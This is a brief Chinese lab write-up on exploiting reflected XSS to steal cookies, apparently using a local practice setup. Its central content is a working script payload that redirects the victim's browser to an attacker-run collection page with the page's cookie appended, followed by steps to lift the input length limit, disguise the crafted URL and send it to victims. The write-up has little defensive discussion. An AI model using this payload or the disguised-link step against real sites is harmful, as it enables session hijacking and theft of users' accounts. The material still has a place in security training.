【xss漏洞】cookie获取与利用实验

一、相关函数

方法	解释
document.location=‘url’	转跳指定url
document.cookie	返回该页面cookie值

二、构建payload

<script>document.location='http://192.168.56.132/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

三、利用反射型xss构建url

3.1 输入构造的payload（需要先修改可输入的长度限制）

3.2将url伪装之后，发送出去

四、获取到的cookie